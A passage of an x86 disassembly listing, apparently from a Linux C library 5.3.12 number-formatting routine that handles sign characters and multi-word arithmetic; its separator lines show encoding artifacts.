eax jmp short loc_8053526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80534FC: ; CODE XREF: sub_8053310+1CAj mov eax, dword ptr [ebp+var_C+4] mov edx, dword ptr [ebp+var_C] push eax push edx lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_18] push eax push 2 lea eax, [ebp+var_44] push eax call sub_8057F88 mov [ebp+var_24], eax shl eax, 5 add eax, 0FFFFFFCCh mov [ebp+var_58], eax add esp, 18h loc_8053526: ; CODE XREF: sub_8053310+17Ej ; sub_8053310+1B3j ... cmp [ebp+var_54], 0 jz loc_80536C4 mov eax, [ebp+arg_4] mov esi, [eax] cmp [eax+4], esi jle short loc_805353D mov esi, [eax+4] loc_805353D: ; CODE XREF: sub_8053310+228j cmp [ebp+var_3C], 0 jnz short loc_8053552 mov edx, [ebp+arg_4] cmp dword ptr [edx+24h], 0 jnz short loc_8053552 cmp dword ptr [edx+1Ch], 0 jz short loc_8053553 loc_8053552: ; CODE XREF: sub_8053310+231j ; sub_8053310+23Aj dec esi loc_8053553: ; CODE XREF: sub_8053310+240j add esi, 0FFFFFFFDh mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jnz short loc_805357F test esi, esi jle short loc_805357F push esi push 20h mov eax, [ebp+arg_0] push eax call sub_8062534 mov ebx, eax add esp, 0Ch cmp ebx, esi jnz loc_8054BD6 add [ebp+var_5C], esi loc_805357F: ; CODE XREF: sub_8053310+24Dj ; sub_8053310+251j cmp [ebp+var_3C], 0 jz short loc_80535C0 mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, [ebp+arg_0] cmp [ecx+18h], edx ja short loc_80535AC push 2Dh push ecx loc_8053596: ; CODE XREF: sub_8053310+2CAj ; sub_8053310+2FAj call sub_8061910 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh jz loc_8054BD6 jmp short loc_805361B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80535AC: ; CODE XREF: sub_8053310+281j mov eax, [ebp+arg_0] mov eax, [eax+14h] mov byte ptr [eax], 2Dh mov edx, [ebp+arg_0] inc dword ptr [edx+14h] jmp short loc_805361B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80535C0: ; CODE XREF: sub_8053310+273j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jz short loc_80535F0 mov eax, [ebp+arg_0] mov eax, [eax+14h] mov edx, [ebp+arg_0] cmp [edx+18h], eax ja short loc_80535DC push 2Bh push edx jmp short loc_8053596 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80535DC: ; CODE XREF: sub_8053310+2C5j mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov byte ptr [ecx], 2Bh mov eax, [ebp+arg_0] inc dword ptr [eax+14h] jmp short loc_805361B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80535F0: ; CODE XREF: sub_8053310+2B7j mov edx, [ebp+arg_4] cmp dword ptr [edx+1Ch], 0 jz short loc_805361E mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov eax, [ebp+arg_0] cmp [eax+18h], ecx ja short loc_805360C push 20h push eax jmp short loc_8053596 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805360C: ; CODE XREF: sub_8053310+2F5j mov edx, [ebp+arg_0] mov edx, [edx+14h] mov byte ptr [edx], 20h mov ecx, [ebp+arg_0] inc dword ptr [ecx+14h] loc_805361B: ; CODE XREF: sub_8053310+299j ; sub_8053310+2ABj ... inc [ebp+var_5C] loc_805361E: ; CODE XREF: sub_8053310+2E7j mov ebx, 2 nop loc_8053624: ; CODE XREF: sub_8053310+37Ej mov eax, [ebp+var_54] movzx edi, byte ptr [eax] inc eax mov [ebp+var_54], eax mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, [ebp+arg_0] cmp [ecx+18h], edx ja short loc_8053660 mov eax, edi movzx edi, al mov [ebp+var_9C], edi push edi push ecx call sub_8061910 mov edi, eax add esp, 8 cmp edi, 0FFFFFFFFh jz loc_8054BD6 jmp short loc_8053686 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053660: ; CODE XREF: sub_8053310+32Aj mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, edi mov byte ptr [ebp+var_A0], cl mov [edx], cl movzx eax, byte ptr [ebp+var_A0] mov edx, [ebp+arg_0] inc dword ptr [edx+14h] cmp eax, 0FFFFFFFFh jz loc_8054BD6 loc_8053686: ; CODE XREF: sub_8053310+34Cj inc [ebp+var_5C] mov eax, ebx dec ebx test eax, eax jnz short loc_8053624 mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jz loc_8054C18 test esi, esi jle loc_8054C18 push esi push 20h mov eax, [ebp+arg_0] push eax call sub_8062534 mov ebx, eax cmp ebx, esi jnz loc_8054BD6 add [ebp+var_5C], esi jmp loc_8054C18 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80536C4: ; CODE XREF: sub_8053310+21Aj mov esi, [ebp+var_18] test esi, esi jge short loc_80536CD neg esi loc_80536CD: ; CODE XREF: sub_8053310+3B9j add esi, 1Fh mov ebx, esi jns short loc_80536D7 lea ebx, [esi+1Fh] loc_80536D7: ; CODE XREF: sub_8053310+3C2j mov eax, ebx sar eax, 5 lea eax, ds:10h[eax*4] sub esp, eax mov [ebp+var_20], esp sub esp, eax mov [ebp+var_30], esp sub esp, eax mov [ebp+var_2C], esp mov [ebp+var_1C], 0 cmp [ebp+var_18], 2 jle loc_8053F0C xor edi, edi mov [ebp+var_60], 0Ch mov [ebp+var_64], 0 mov [ebp+var_68], offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12" mov edx, [ebp+var_58] add edx, [ebp+var_18] mov [ebp+var_A0], edx test dl, 1Fh jnz loc_8053928 mov ecx, [ebp+var_24] dec ecx mov [ebp+var_A4], ecx js loc_8053912 lea ebx, ds:0[ecx*4] not ecx mov esi, ecx and esi, 3 cmp [ebp+var_A4], 0FFFFFFFFh jle short loc_80537C8 test esi, esi jz loc_8053800 cmp esi, 3 jge short loc_80537C8 cmp esi, 2 jge short loc_8053799 mov esi, [ebp+var_A0] test esi, esi jge short loc_8053775 add esi, 1Fh loc_8053775: ; CODE XREF: sub_8053310+460j sar esi, 5 mov [ebp+var_9C], esi lea eax, [ebx+esi*4] add eax, [ebp+var_20] mov edx, [ebp+var_A4] mov edx, [ebp+edx*4+var_44] mov [eax], edx add ebx, 0FFFFFFFCh dec [ebp+var_A4] loc_8053799: ; CODE XREF: sub_8053310+456j mov esi, [ebp+var_58] add esi, [ebp+var_18] jns short loc_80537A4 add esi, 1Fh loc_80537A4: ; CODE XREF: sub_8053310+48Fj sar esi, 5 mov [ebp+var_9C], esi lea ecx, [ebx+esi*4] add ecx, [ebp+var_20] mov eax, [ebp+var_A4] mov eax, [ebp+eax*4+var_44] mov [ecx], eax add ebx, 0FFFFFFFCh dec [ebp+var_A4] loc_80537C8: ; CODE XREF: sub_8053310+444j ; sub_8053310+451j mov esi, [ebp+var_58] add esi, [ebp+var_18] jns short loc_80537D3 add esi, 1Fh loc_80537D3: ; CODE XREF: sub_8053310+4BEj sar esi, 5 mov [ebp+var_9C], esi lea edx, [ebx+esi*4] add edx, [ebp+var_20] mov ecx, [ebp+var_A4] mov ecx, [ebp+ecx*4+var_44] mov [edx], ecx add ebx, 0FFFFFFFCh dec [ebp+var_A4] js loc_8053912 db 8Dh,76h,0 ; lea esi, [esi+0] loc_8053800: ; CODE XREF: sub_8053310+448j ; sub_8053310+5FCj mov esi, [ebp+var_58] add esi, [ebp+var_18] jns short loc_805380B add esi, 1Fh loc_805380B: ; CODE XREF: sub_8053310+4F6j sar esi, 5 mov [ebp+var_9C], esi lea eax, [ebx+esi*4] add eax, [ebp+var_20] mov edx, [ebp+var_A4] mov edx, [ebp+edx*4+var_44] mov [eax], edx lea ecx, [ebx-4] mov [ebp+var_A0], ecx mov esi, [ebp+var_A4] dec esi mov eax, [ebp+var_58] add eax, [ebp+var_18] mov [ebp+var_9C], eax jns short loc_805384D add eax, 1Fh mov [ebp+var_9C], eax loc_805384D: ; CODE XREF: sub_8053310+532j mov edx, [ebp+var_9C] sar edx, 5 mov ecx, [ebp+var_A0] lea ecx, [ecx+edx*4] add ecx, [ebp+var_20] mov esi, [ebp+esi*4+var_44] mov [ebp+var_150], esi mov [ecx], esi lea eax, [ebx-8] mov [ebp+var_A0], eax mov esi, [ebp+var_A4] add esi, 0FFFFFFFEh mov edx, [ebp+var_58] add edx, [ebp+var_18] mov [ebp+var_9C], edx jns short loc_8053897 add edx, 1Fh mov [ebp+var_9C], edx loc_8053897: ; CODE XREF: sub_8053310+57Cj mov ecx, [ebp+var_9C] sar ecx, 5 mov eax, [ebp+var_A0] lea eax, [eax+ecx*4] add eax, [ebp+var_20] mov esi, [ebp+esi*4+var_44] mov [ebp+var_154], esi mov [eax], esi lea edx, [ebx-0Ch] mov [ebp+var_A0], edx mov esi, [ebp+var_A4] add esi, 0FFFFFFFDh mov ecx, [ebp+var_58] add ecx, [ebp+var_18] mov [ebp+var_9C], ecx jns short loc_80538E1 add ecx, 1Fh mov [ebp+var_9C], ecx loc_80538E1: ; CODE XREF: sub_8053310+5C6j mov eax, [ebp+var_9C] sar eax, 5 mov edx, [ebp+var_A0] lea edx, [edx+eax*4] add edx, [ebp+var_20] mov esi, [ebp+esi*4+var_44] mov [ebp+var_158], esi mov [edx], esi add ebx, 0FFFFFFF0h add [ebp+var_A4], 0FFFFFFFCh jns loc_8053800 loc_8053912: ; CODE XREF: sub_8053310+429j ; sub_8053310+4E7j mov ebx, [ebp+var_58] add ebx, [ebp+var_18] jns short loc_805391D add ebx, 1Fh loc_805391D: ; CODE XREF: sub_8053310+608j mov eax, ebx sar eax, 5 add [ebp+var_24], eax jmp short loc_8053999 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053928: ; CODE XREF: sub_8053310+419j mov ebx, [ebp+var_58] add ebx, [ebp+var_18] mov esi, ebx jns short loc_8053935 lea esi, [ebx+1Fh] loc_8053935: ; CODE XREF: sub_8053310+620j mov eax, esi and al, 0E0h sub ebx, eax mov eax, ebx push eax mov eax, [ebp+var_24] push eax lea eax, [ebp+var_44] push eax mov ebx, [ebp+var_58] add ebx, [ebp+var_18] jns short loc_8053951 add ebx, 1Fh loc_8053951: ; CODE XREF: sub_8053310+63Cj mov eax, ebx sar eax, 5 shl eax, 2 add eax, [ebp+var_20] push eax call sub_8058710 mov [ebp+var_28], eax mov ebx, [ebp+var_58] add ebx, [ebp+var_18] jns short loc_8053970 add ebx, 1Fh loc_8053970: ; CODE XREF: sub_8053310+65Bj mov eax, ebx sar eax, 5 add [ebp+var_24], eax add esp, 10h cmp [ebp+var_28], 0 jz short loc_8053999 mov ecx, [ebp+var_24] shl ecx, 2 mov [ebp+var_A4], ecx mov eax, [ebp+var_28] mov edx, [ebp+var_20] mov [edx+ecx], eax inc [ebp+var_24] loc_8053999: ; CODE XREF: sub_8053310+615j ; sub_8053310+66Fj mov [ebp+var_A4], 0 mov ebx, [ebp+var_20] mov [ebp+var_A0], 0 loc_80539B0: ; CODE XREF: sub_8053310+6D4j mov esi, [ebp+var_58] add esi, [ebp+var_18] jns short loc_80539BB add esi, 1Fh loc_80539BB: ; CODE XREF: sub_8053310+6A6j mov eax, esi sar eax, 5 cmp [ebp+var_A4], eax jge short loc_80539E8 mov ecx, [ebp+var_A0] mov dword ptr [ebx+ecx], 0 add ecx, 4 mov [ebp+var_A0], ecx inc [ebp+var_A4] jmp short loc_80539B0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80539E8: ; CODE XREF: sub_8053310+6B6j mov esi, [ebp+var_68] add esi, 4 lea esi, [esi] loc_80539F0: ; CODE XREF: sub_8053310+7D9j add esi, 0FFFFFFF0h add [ebp+var_68], 0FFFFFFF0h mov eax, edi add eax, [esi+4] dec eax cmp [ebp+var_18], eax jl loc_8053ADF cmp [ebp+var_1C], 0 jnz short loc_8053A2C mov eax, [ebp+var_30] mov edx, [ebp+var_68] mov edx, [edx] mov ebx, [esi] lea ecx, ds:0[ebx*4] push ecx push edx push eax call memcpy add esp, 0Ch jmp short loc_8053A6A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053A2C: ; CODE XREF: sub_8053310+6FAj mov eax, [esi] add eax, 0FFFFFFFEh push eax mov edx, [ebp+var_68] mov edx, [edx] add edx, 8 push edx mov ecx, [ebp+var_1C] push ecx mov eax, [ebp+var_2C] push eax mov edx, [ebp+var_30] push edx call sub_805876C mov [ebp+var_A4], eax mov [ebp+var_28], eax mov ebx, [ebp+var_1C] add ebx, [esi] add ebx, 0FFFFFFFEh add esp, 14h cmp [ebp+var_A4], 0 jnz short loc_8053A6A dec ebx loc_8053A6A: ; CODE XREF: sub_8053310+718j ; sub_8053310+757j cmp [ebp+var_24], ebx jg short loc_8053A86 jnz short loc_8053ADF push ebx mov eax, [ebp+var_30] push eax mov eax, [ebp+var_20] push eax call sub_8057F48 add esp, 0Ch test eax, eax jl short loc_8053ADF loc_8053A86: ; CODE XREF: sub_8053310+75Dj mov ecx, [ebp+var_2C] mov eax, [ebp+var_30] mov [ebp+var_1C], ebx shl ebx, 2 mov [ebp+var_9C], ebx push ebx push eax push ecx call memcpy add esp, 0Ch mov edx, [ebp+var_1C] shl edx, 2 mov [ebp+var_9C], edx add edx, [ebp+var_2C] add edx, 0FFFFFFFCh bsr ecx, [edx] mov edi, [ebp+var_1C] add edi, 0FFFFFFFEh shl edi, 5 mov [ebp+var_A0], edi mov edi, ecx xor edi, 0FFFFFFE0h add edi, [ebp+var_A0] mov eax, 1 mov ecx, [ebp+var_60] shl eax, cl or [ebp+var_64], eax loc_8053ADF: ; CODE XREF: sub_8053310+6F0j ; sub_8053310+75Fj ... dec [ebp+var_60] cmp [ebp+var_68], offset off_8068DAC ja loc_80539F0 mov edx, [ebp+var_64] mov [ebp+var_18], edx cmp [ebp+var_1C], 0 jle loc_80543D0 xor edi, edi mov esi, [ebp+var_2C] cmp dword ptr [esi], 0 jnz short loc_8053B46 mov ebx, [ebp+var_20] cmp dword ptr [ebx], 0 jnz short loc_8053B46 mov edi, 1 cmp dword ptr [esi+4], 0 jnz short loc_8053B46 cmp dword ptr [ebx+4], 0 jnz short loc_8053B46 mov [ebp+var_A4], esi mov esi, ebx mov ebx, 4 nop loc_8053B30: ; CODE XREF: sub_8053310+834j add ebx, 4 inc edi mov ecx, [ebp+var_A4] cmp dword ptr [ecx+ebx], 0 jnz short loc_8053B46 cmp dword ptr [esi+ebx], 0 jz short loc_8053B30 loc_8053B46: ; CODE XREF: sub_8053310+7F7j ; sub_8053310+7FFj ... mov eax, [ebp+var_1C] shl eax, 2 mov [ebp+var_9C], eax add eax, [ebp+var_2C] add eax, 0FFFFFFFCh bsr edx, [eax] mov ebx, edx xor bl, 1Fh test ebx, ebx jnz loc_8053D88 test edi, edi jle loc_80543D0 mov ecx, [ebp+var_1C] sub ecx, edi mov [ebp+var_9C], ecx cmp ebx, ecx jge loc_8053C75 mov eax, [ebp+var_2C] mov [ebp+var_A4], eax lea edx, ds:0[edi*4] mov [ebp+var_A0], edx xor ebx, ebx lea esi, ds:0[ecx*4] and ecx, 3 mov [ebp+var_9C], ecx jz short loc_8053C0A cmp ecx, 1 jle short loc_8053BE8 cmp ecx, 2 jle short loc_8053BCA add edx, [ebp+var_2C] mov ecx, [edx] mov [eax], ecx add [ebp+var_A0], 4 mov ebx, 4 loc_8053BCA: ; CODE XREF: sub_8053310+8A5j mov eax, [ebp+var_A0] add eax, [ebp+var_2C] mov edx, [eax] mov ecx, [ebp+var_A4] mov [ecx+ebx], edx add [ebp+var_A0], 4 add ebx, 4 loc_8053BE8: ; CODE XREF: sub_8053310+8A0j mov eax, [ebp+var_A0] add eax, [ebp+var_2C] mov edx, [eax] mov ecx, [ebp+var_A4] mov [ecx+ebx], edx add [ebp+var_A0], 4 add ebx, 4 cmp ebx, esi jz short loc_8053C75 loc_8053C0A: ; CODE XREF: sub_8053310+89Bj mov eax, [ebp+var_A4] add eax, ebx mov [ebp+var_A4], eax loc_8053C18: ; CODE XREF: sub_8053310+963j mov edx, [ebp+var_A0] add edx, [ebp+var_2C] mov ecx, [edx] mov eax, [ebp+var_A4] mov [eax], ecx mov edx, [ebp+var_A0] add edx, [ebp+var_2C] mov ecx, [edx+4] mov [eax+4], ecx mov eax, [ebp+var_A0] add eax, [ebp+var_2C] mov edx, [eax+8] mov ecx, [ebp+var_A4] mov [ecx+8], edx mov eax, [ebp+var_A0] add eax, [ebp+var_2C] mov edx, [eax+0Ch] mov [ecx+0Ch], edx add [ebp+var_A0], 10h add ecx, 10h mov [ebp+var_A4], ecx add ebx, 10h cmp ebx, esi jnz short loc_8053C18 loc_8053C75: ; CODE XREF: sub_8053310+86Dj ; sub_8053310+8F8j sub [ebp+var_1C], edi mov ecx, [ebp+var_24] sub ecx, edi mov [ebp+var_9C], ecx test ecx, ecx jle loc_8053D7D mov eax, [ebp+var_20] mov [ebp+var_A4], eax lea edx, ds:0[edi*4] mov [ebp+var_A0], edx xor ebx, ebx lea esi, ds:0[ecx*4] and ecx, 3 mov [ebp+var_9C], ecx jz short loc_8053D12 cmp ecx, 1 jle short loc_8053CF0 cmp ecx, 2 jle short loc_8053CD2 add edx, [ebp+var_20] mov ecx, [edx] mov [eax], ecx add [ebp+var_A0], 4 mov ebx, 4 loc_8053CD2: ; CODE XREF: sub_8053310+9ADj mov eax, [ebp+var_A0] add eax, [ebp+var_20] mov edx, [eax] mov ecx, [ebp+var_A4] mov [ecx+ebx], edx add [ebp+var_A0], 4 add ebx, 4 loc_8053CF0: ; CODE XREF: sub_8053310+9A8j mov eax, [ebp+var_A0] add eax, [ebp+var_20] mov edx, [eax] mov ecx, [ebp+var_A4] mov [ecx+ebx], edx add [ebp+var_A0], 4 add ebx, 4 cmp ebx, esi jz short loc_8053D7D loc_8053D12: ; CODE XREF: sub_8053310+9A3j mov eax, [ebp+var_A4] add eax, ebx mov [ebp+var_A4], eax loc_8053D20: ; CODE XREF: sub_8053310+A6Bj mov edx, [ebp+var_A0] add edx, [ebp+var_20] mov ecx, [edx] mov eax, [ebp+var_A4] mov [eax], ecx mov edx, [ebp+var_A0] add edx, [ebp+var_20] mov ecx, [edx+4] mov [eax+4], ecx mov eax, [ebp+var_A0] add eax, [ebp+var_20] mov edx, [eax+8] mov ecx, [ebp+var_A4] mov [ecx+8], edx mov eax, [ebp+var_A0] add eax, [ebp+var_20] mov edx, [eax+0Ch] mov [ecx+0Ch], edx add [ebp+var_A0], 10h add ecx, 10h mov [ebp+var_A4], ecx add ebx, 10h cmp ebx, esi jnz short loc_8053D20 loc_8053D7D: ; CODE XREF: sub_8053310+975j ; sub_8053310+A00j sub [ebp+var_24], edi jmp loc_80543D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053D88: ; CODE XREF: sub_8053310+852j lea esi, ds:0[edi*4] mov ecx, [ebp+var_2C] mov [ebp+var_A4], ecx cmp dword ptr [ecx+esi], 0 jz short loc_8053DC8 bsf eax, [ecx+esi] mov [ebp+var_A0], eax mov edx, [ebp+var_20] mov [ebp+var_A4], edx cmp dword ptr [edx+esi], 0 jz short loc_8053DDC bsf esi, [edx+esi] cmp esi, eax jge short loc_8053DDC mov [ebp+var_A0], esi jmp short loc_8053DDC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053DC8: ; CODE XREF: sub_8053310+A8Cj lea ecx, ds:0[edi*4] mov eax, [ebp+var_20] bsf eax, [eax+ecx] mov [ebp+var_A0], eax loc_8053DDC: ; CODE XREF: sub_8053310+AA5j ; sub_8053310+AADj ... test edi, edi jnz short loc_8053E38 mov eax, 20h sub eax, ebx cmp [ebp+var_A0], eax jge short loc_8053E47 push ebx mov eax, [ebp+var_1C] push eax mov eax, [ebp+var_2C] push eax push eax call sub_8058710 push ebx mov eax, [ebp+var_24] push eax mov eax, [ebp+var_20] push eax push eax call sub_8058710 mov ebx, eax mov [ebp+var_28], ebx add esp, 20h test ebx, ebx jz loc_80543D0 mov edx, [ebp+var_24] shl edx, 2 mov [ebp+var_A0], edx mov ecx, [ebp+var_20] mov [ecx+edx], ebx inc [ebp+var_24] jmp loc_80543D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053E38: ; CODE XREF: sub_8053310+ACEj mov eax, 20h sub eax, ebx cmp [ebp+var_A0], eax jl short loc_8053EA4 loc_8053E47: ; CODE XREF: sub_8053310+ADDj mov esi, 20h sub esi, ebx push esi mov eax, [ebp+var_1C] sub eax, edi push eax lea ebx, ds:0[edi*4] mov eax, ebx add eax, [ebp+var_2C] push eax mov eax, [ebp+var_2C] push eax call sub_8059FB0 mov eax, [ebp+var_1C] dec eax sub eax, edi mov [ebp+var_1C], eax push esi mov eax, [ebp+var_24] sub eax, edi push eax add ebx, [ebp+var_20] push ebx mov eax, [ebp+var_20] push eax call sub_8059FB0 add esp, 20h mov eax, [ebp+var_24] sub eax, edi shl eax, 2 add eax, [ebp+var_20] cmp dword ptr [eax-4], 0 jnz short loc_8053EFC mov ebx, [ebp+var_24] dec ebx jmp short loc_8053EFF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053EA4: ; CODE XREF: sub_8053310+B35j mov esi, 20h sub esi, ebx push esi mov eax, [ebp+var_1C] inc eax sub eax, edi push eax lea ebx, ds:0FFFFFFFCh[edi*4] mov eax, ebx add eax, [ebp+var_2C] push eax mov eax, [ebp+var_2C] push eax call sub_8059FB0 sub [ebp+var_1C], edi push esi mov eax, [ebp+var_24] inc eax sub eax, edi push eax add ebx, [ebp+var_20] push ebx mov eax, [ebp+var_20] push eax call sub_8059FB0 add esp, 20h mov eax, [ebp+var_24] inc eax mov ebx, eax sub ebx, edi lea eax, ds:0[ebx*4] add eax, [ebp+var_20] cmp dword ptr [eax-4], 0 jnz short loc_8053F01 loc_8053EFC: ; CODE XREF: sub_8053310+B8Aj mov ebx, [ebp+var_24] loc_8053EFF: ; CODE XREF: sub_8053310+B90j sub ebx, edi loc_8053F01: ; CODE XREF: sub_8053310+BEAj mov [ebp+var_24], ebx jmp loc_80543D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8053F0C: ; CODE XREF: sub_8053310+3EDj cmp [ebp+var_18], 0 jge loc_8054394 mov [ebp+var_6C], 0 mov [ebp+var_70], 0Ch mov [ebp+var_74], offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12" mov eax, [ebp+var_58] push eax mov edx, [ebp+var_24] push edx lea ecx, [ebp+var_44] push ecx mov eax, [ebp+var_20] push eax call sub_8058710 mov ebx, eax mov [ebp+var_28], ebx mov edx, [ebp+var_24] shl edx, 2 mov [ebp+var_A0], edx mov ecx, [ebp+var_20] mov [ecx+edx], ebx inc [ebp+var_24] mov [ebp+var_10], 1 neg [ebp+var_18] add esp, 10h mov [ebp+var_98], 8068E80h db 8Dh,76h,0 ; lea esi, [esi+0] loc_8053F74: ; CODE XREF: sub_8053310+FD6j add [ebp+var_98], 0FFFFFFF0h add [ebp+var_74], 0FFFFFFF0h mov edx, [ebp+var_18] mov eax, [ebp+var_98] cmp [eax+8], edx jg loc_80542D6 mov ebx, [eax] add ebx, 0FFFFFFFEh cmp [ebp+var_24], ebx jge short loc_8053FB4 mov ecx, [ebp+var_24] push ecx mov eax, [ebp+var_20] push eax push ebx mov edx, [ebp+var_74] mov edx, [edx] add edx, 8 push edx mov ecx, [ebp+var_30] push ecx jmp short loc_8053FD5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053FB4: ; CODE XREF: sub_8053310+C89j mov eax, [ebp+var_98] mov eax, [eax] add eax, 0FFFFFFFEh push eax mov edx, [ebp+var_74] mov edx, [edx] add edx, 8 push edx mov ecx, [ebp+var_24] push ecx mov eax, [ebp+var_20] push eax mov edx, [ebp+var_30] push edx loc_8053FD5: ; CODE XREF: sub_8053310+CA1j call sub_805876C mov ebx, eax mov [ebp+var_28], ebx add esp, 14h mov ebx, [ebp+var_24] mov ecx, [ebp+var_98] add ebx, [ecx] add ebx, 0FFFFFFFEh cmp [ebp+var_28], 0 jnz short loc_8053FF7 dec ebx loc_8053FF7: ; CODE XREF: sub_8053310+CE4j lea eax, ds:0[ebx*4] add eax, [ebp+var_30] add eax, 0FFFFFFFCh bsr eax, [eax] mov esi, eax xor esi, 1Fh mov edi, ebx sub edi, [ebp+var_24] mov edx, edi shl edx, 5 lea eax, [esi-1Fh] mov edi, edx sub edi, eax mov eax, [ebp+var_18] add eax, 3 cmp edi, eax jnz short loc_805406D cmp esi, 1Ch jg short loc_8054048 mov [ebp+var_4C], 0 mov eax, 1Ch sub eax, esi mov ecx, eax mov eax, 0Ah shl eax, cl mov [ebp+var_48], eax jmp short loc_805406D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8054048: ; CODE XREF: sub_8053310+D1Aj mov [ebp+var_4C], 0A0000000h mov [ebp+var_48], 0 mov eax, 20h sub eax, esi push eax push 2 lea eax, [ebp+var_4C] push eax push eax call sub_8058710 add esp, 10h loc_805406D: ; CODE XREF: sub_8053310+D15j ; sub_8053310+D36j mov edx, [ebp+var_18] add edx, 3 mov [ebp+var_A4], edx cmp edi, edx jl short loc_80540B3 jnz loc_80542D6 lea ecx, ds:0[ebx*4] add ecx, [ebp+var_30] mov [ebp+var_A4], ecx mov eax, [ecx-4] mov [ebp+var_A0], eax cmp [ebp+var_48], eax ja short loc_80540B3 jnz loc_80542D6 mov edx, [ecx-8] cmp [ebp+var_4C], edx jbe loc_80542D6 loc_80540B3: ; CODE XREF: sub_8053310+D6Bj ; sub_8053310+D8Fj sub [ebp+var_18], edi mov eax, 1 mov ecx, [ebp+var_70] shl eax, cl or [ebp+var_6C], eax cmp [ebp+var_18], 0 jge short loc_80540CC sub esi, [ebp+var_18] loc_80540CC: ; CODE XREF: sub_8053310+DB7j xor edi, edi mov eax, [ebp+var_30] mov [ebp+var_A4], eax cmp dword ptr [eax], 0 jnz short loc_8054106 mov [ebp+var_A0], eax mov [ebp+var_A4], 0 loc_80540EC: ; CODE XREF: sub_8053310+DF4j add [ebp+var_A4], 4 inc edi mov edx, [ebp+var_A4] mov ecx, [ebp+var_A0] cmp 